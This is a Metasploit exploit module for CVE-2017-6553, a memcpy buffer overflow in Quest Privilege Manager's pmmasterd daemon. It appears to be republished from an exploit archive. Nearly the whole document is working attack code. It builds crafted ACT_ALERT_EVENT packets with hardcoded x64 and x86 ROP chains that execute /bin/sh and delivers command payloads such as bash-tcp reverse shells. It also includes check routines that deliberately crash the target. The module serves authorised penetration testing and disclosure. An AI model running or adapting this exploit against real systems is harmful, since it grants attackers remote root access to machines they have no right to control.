Quest Privilege Manager pmmasterd Buffer Overflow

This Metasploit modules exploits a buffer overflow in the Quest Privilege Manager, a software used to integrate Active Directory with Linux and Unix systems. The vulnerability exists in the pmmasterd daemon, and can only triggered when the host has been configured as a policy server ( Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow condition exists when handling requests of type ACT_ALERT_EVENT, where the size of a memcpy can be controlled by the attacker. This Metasploit module only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required). NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 ) as the server refuses connections coming from unprivileged ports, which in most situations means that root privileges are required.


MD5 | 0ede05fcd2a59a5c6c7a66dd5cb09ddb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
'Description' => %q{
This modules exploits a buffer overflow in the Quest Privilege Manager,
a software used to integrate Active Directory with Linux and Unix
systems. The vulnerability exists in the pmmasterd daemon, and can only
triggered when the host has been configured as a policy server (
Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
condition exists when handling requests of type ACT_ALERT_EVENT, where
the size of a memcpy can be controlled by the attacker. This module
only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
vulnerable, but not supported by this module (a stack cookie bypass is
required). NOTE: To use this module it is required to be able to bind a
privileged port ( <=1024 ) as the server refuses connections coming
from unprivileged ports, which in most situations means that root
privileges are required.
},
'Author' =>
[
'm0t'
],
'References' =>
[
['CVE', '2017-6553'],
['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
}
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
{
exploit: :exploit_x64,
check: :check_x64
}
],
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
{
exploit: :exploit_x86,
check: :check_x86
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Apr 09 2017',
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RPORT(12345),
Opt::CPORT(rand(1024))
]
)
end

# definitely not stealthy! sends a crashing request, if the socket dies, or
# the output is partial it assumes the target has crashed. Although the
# daemon spawns a new process for each connection, the segfault will appear
# on syslog
def check
unless respond_to?(target[:check], true)
fail_with(Failure::NoTarget, "Invalid target specified")
end

send(target[:check])
end

def exploit
unless respond_to?(target[:exploit], true)
fail_with(Failure::NoTarget, "Invalid target specified")
end

request = send(target[:exploit])

connect
print_status("Sending trigger")
sock.put(request)
sock.get_once
print_status("Sending payload")
sock.put(payload.encoded)
disconnect
end

# server should crash after parsing the packet, partial output is returned
def check_x64
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00" * 68

body = "PingE4.6 .0.0.27"
body << rand_text_alpha(3000)

request = head + body

connect
print_status("Sending trigger")
sock.put(request)
res = sock.timed_read(1024, 1)
if res.match? "Pong4$"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Unknown
end
end

# server should crash while parsing the packet, with no output
def check_x86
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00" * 68

body = rand_text_alpha(3000)

request = head + body

connect
print_status("Sending trigger")
sock.put(request)
begin
sock.timed_read(1024, 1)
return Exploit::CheckCode::Unknown
rescue ::Exception
return Exploit::CheckCode::Appears
end
end

def exploit_x64
head = [ 0x26c ].pack("N")
head << [ 0x700 ].pack("N")
head << [ 0x700 ].pack("N")
head << "\x00" * 68

# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
ropchain = [
0x408f88, # pop rdi, ret
0x4FA215, # /bin/sh
0x40a99e, # pop rsi ; ret
0, # argv @rsi
0x40c1a0, # pop rax, ret
0, # envp @rax
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
0xcacc013, # padding
0x408a98, # execve,
0
].pack("Q*")

body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
body << rand_text_alpha(1600)
body << ropchain
body << rand_text_alpha(0x700 - body.size)

head + body
end

def exploit_x86
head = [ 0x26c ].pack("N")
head << [ 0x108 ].pack("N")
head << [ 0xcc ].pack("N")
head << "\x00" * 68

# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
ropchain = [
0x8093262, # ret
0x73, # cs reg
0x804AE2C, # execve,
0xcacc013, # padding
0x8136CF0, # /bin/sh
0,
0
].pack("V*")

pivotback = 0x08141223 # sub esp, ebx ; retf
writable = 0x81766f8 # writable loc

body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
body << rand_text_alpha(104)
body << ropchain
body << rand_text_alpha(0xb4 - body.size)
body << [0x50].pack("V")
body << rand_text_alpha(0xc4 - body.size)
body << [pivotback].pack("V")
body << [writable].pack("V")
body << rand_text_alpha(0x108 - body.size)

head + body
end
end

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